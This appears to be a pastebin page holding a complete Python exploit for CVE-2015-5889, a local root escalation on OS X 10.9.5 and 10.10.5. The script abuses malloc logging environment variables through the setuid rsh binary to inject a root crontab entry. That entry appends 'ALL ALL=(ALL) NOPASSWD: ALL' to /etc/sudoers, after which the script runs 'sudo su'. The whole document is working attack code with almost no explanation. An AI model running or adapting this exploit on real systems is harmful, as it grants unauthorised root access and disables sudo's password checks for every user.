SHOW:
|
|
- or go back to the newest paste.
| 1 | # CVE-2015-5889: issetugid() + rsh + libmalloc osx local root | |
| 2 | # tested on osx 10.9.5 / 10.10.5 | |
| 3 | # jul/2015 | |
| 4 | # by rebel | |
| 5 | ||
| 6 | import os,time,sys | |
| 7 | ||
| 8 | env = {}
| |
| 9 | ||
| 10 | s = os.stat("/etc/sudoers").st_size
| |
| 11 | ||
| 12 | env['MallocLogFile'] = '/etc/crontab' | |
| 13 | env['MallocStackLogging'] = 'yes' | |
| 14 | env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n' | |
| 15 | ||
| 16 | sys.stderr.write("creating /etc/crontab..")
| |
| 17 | ||
| 18 | p = os.fork() | |
| 19 | if p == 0: | |
| 20 | os.close(1) | |
| 21 | os.close(2) | |
| 22 | os.execve("/usr/bin/rsh",["rsh","localhost"],env)
| |
| 23 | ||
| 24 | time.sleep(1) | |
| 25 | ||
| 26 | if "NOPASSWD" not in open("/etc/crontab").read():
| |
| 27 | sys.stderr.write("failed\n")
| |
| 28 | sys.exit(-1) | |
| 29 | ||
| 30 | sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")
| |
| 31 | ||
| 32 | while os.stat("/etc/sudoers").st_size == s:
| |
| 33 | sys.stderr.write(".")
| |
| 34 | time.sleep(1) | |
| 35 | ||
| 36 | sys.stderr.write("\ndone\n")
| |
| 37 | ||
| 38 | os.system("sudo su") |
